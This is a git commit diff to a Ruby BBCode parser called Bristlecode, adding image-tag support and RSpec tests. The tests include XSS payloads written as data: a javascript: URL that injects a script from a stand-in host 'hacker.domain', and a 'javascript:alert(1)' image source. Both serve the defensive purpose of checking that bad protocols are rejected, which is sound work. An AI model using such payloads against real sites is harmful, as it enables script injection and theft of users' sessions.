master
Jordan Orelli 9 years ago
parent cb7b786d55
commit 2e6456f8e0

@ -4,9 +4,10 @@ require 'sanitize'
module Bristlecode module Bristlecode
Config = Sanitize::Config::freeze_config( Config = Sanitize::Config::freeze_config(
:elements => %w[b em i strong u a strike br], :elements => %w[b em i strong u a strike br img],
:attributes => { :attributes => {
'a' => ['href'] 'a' => ['href'],
'img' => ['src'],
}, },
:add_attributes => { :add_attributes => {
'a' => {'rel' => 'nofollow'} 'a' => {'rel' => 'nofollow'}
@ -34,9 +35,6 @@ module Bristlecode
end end
class Parser < Parslet::Parser class Parser < Parslet::Parser
rule(:space) { match('\s').repeat(1) }
rule(:space?) { space.maybe }
rule(:bold_open) { str('[b]') | str('[B]') } rule(:bold_open) { str('[b]') | str('[B]') }
rule(:bold_close) { str('[/b]') | str('[/B]') | eof } rule(:bold_close) { str('[/b]') | str('[/B]') | eof }
rule(:bold) { bold_open >> children.as(:bold) >> bold_close } rule(:bold) { bold_open >> children.as(:bold) >> bold_close }
@ -62,16 +60,29 @@ module Bristlecode
} }
rule(:url) { (simple_url | url_with_title).as(:url) } rule(:url) { (simple_url | url_with_title).as(:url) }
rule(:img_open) { str('[img]') }
rule(:img_close) { str('[/img]') }
rule(:img) {
(
img_open >>
(
(str('http://') | str('https://')) >>
(img_close.absent? >> any).repeat(1)
).as(:src) >>
img_close
).as(:img)
}
rule(:eof) { any.absent? } rule(:eof) { any.absent? }
rule(:tag) { bold | italic | url | linebreak } rule(:tag) { bold | italic | url | linebreak | img }
rule(:elem) { text.as(:text) | tag } rule(:elem) { text.as(:text) | tag }
rule(:tag_open) { bold_open | italic_open | url_open | url_title_open } rule(:tag_open) { bold_open | italic_open | url_open | url_title_open | img_open }
rule(:tag_close) { bold_close | italic_close | url_close } rule(:tag_close) { bold_close | italic_close | url_close | img_close }
rule(:tag_delim) { tag_open | tag_close | linebreak } rule(:tag_delim) { tag_open | tag_close | linebreak }
rule(:text) { (tag_delim.absent? >> any).repeat(1) } rule(:text) { (tag_delim.absent? >> any).repeat(1) }
rule(:children) { space? >> elem.repeat } rule(:children) { elem.repeat }
rule(:doc) { space? >> elem.repeat.as(:doc) } rule(:doc) { elem.repeat.as(:doc) }
root(:doc) root(:doc)
end end
@ -82,6 +93,7 @@ module Bristlecode
rule(doc: subtree(:doc)) { Doc.new(doc) } rule(doc: subtree(:doc)) { Doc.new(doc) }
rule(url: subtree(:url)) { Url.new(url) } rule(url: subtree(:url)) { Url.new(url) }
rule(br: simple(:br)) { Linebreak.new } rule(br: simple(:br)) { Linebreak.new }
rule(img: subtree(:img)) { Img.new(img) }
end end
class Doc class Doc
@ -102,7 +114,7 @@ module Bristlecode
attr_accessor :text attr_accessor :text
def initialize(text) def initialize(text)
self.text = text.to_str.strip self.text = text.to_str
Bristlecode.clean(self.text) Bristlecode.clean(self.text)
end end
@ -164,4 +176,16 @@ module Bristlecode
"<br>" "<br>"
end end
end end
class Img
attr_accessor :src
def initialize(img)
self.src = img[:src].to_str
end
def to_html
"<img src=\"#{src}\">"
end
end
end end

@ -14,7 +14,8 @@ module Bristlecode
end end
it 'handles empty documents' do it 'handles empty documents' do
expect(to_html(" \t \n \n \t")).to eq("") text = " \t \n \n \t"
expect(to_html(text)).to eq(text)
end end
it 'handles special chars' do it 'handles special chars' do
@ -37,12 +38,12 @@ module Bristlecode
it 'can nest tags' do it 'can nest tags' do
doc = '[b] bold [i] italic [/i] bold [/b]' doc = '[b] bold [i] italic [/i] bold [/b]'
expected = '<b>bold<i>italic</i>bold</b>' expected = '<b> bold <i> italic </i> bold </b>'
out = to_html(doc) out = to_html(doc)
expect(out).to eq(expected) expect(out).to eq(expected)
doc = '[i] italic [b] bold [/b] italic [/i]' doc = '[i] italic [b] bold [/b] italic [/i]'
expected = '<i>italic<b>bold</b>italic</i>' expected = '<i> italic <b> bold </b> italic </i>'
out = to_html(doc) out = to_html(doc)
expect(out).to eq(expected) expect(out).to eq(expected)
end end
@ -74,9 +75,28 @@ module Bristlecode
expect(to_html(input)).to eq(output) expect(to_html(input)).to eq(output)
end end
it 'allows subtrees in <a> tags' do
input = '[url=http://google.com]this is [b]the[/b] google[/url]'
output = '<a href="http://google.com" rel="nofollow">this is <b>the</b> google</a>'
expect(to_html(input)).to eq(output)
end
it 'rejects bad url protocols' do
input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
expect { to_html(input) }.to raise_error
input = "[url=ftp://whatever.com/etc]warez[/url]"
expect { to_html(input) }.to raise_error
end
it 'renders a linebreak' do it 'renders a linebreak' do
expect(to_html('[br]')).to eq('<br>') expect(to_html('[br]')).to eq('<br>')
end end
it 'handles images' do
input = '[img]http://example.com/cat.gif[/img]'
expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">')
end
end end
describe Parser do describe Parser do
@ -190,5 +210,17 @@ module Bristlecode
expect(parser.linebreak).to parse('[br]') expect(parser.linebreak).to parse('[br]')
end end
end end
describe '#img' do
it 'accepts valid image urls' do
expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
end
it 'rejects bad protocols' do
expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]')
expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]')
end
end
end end
end end

Loading…
Cancel
Save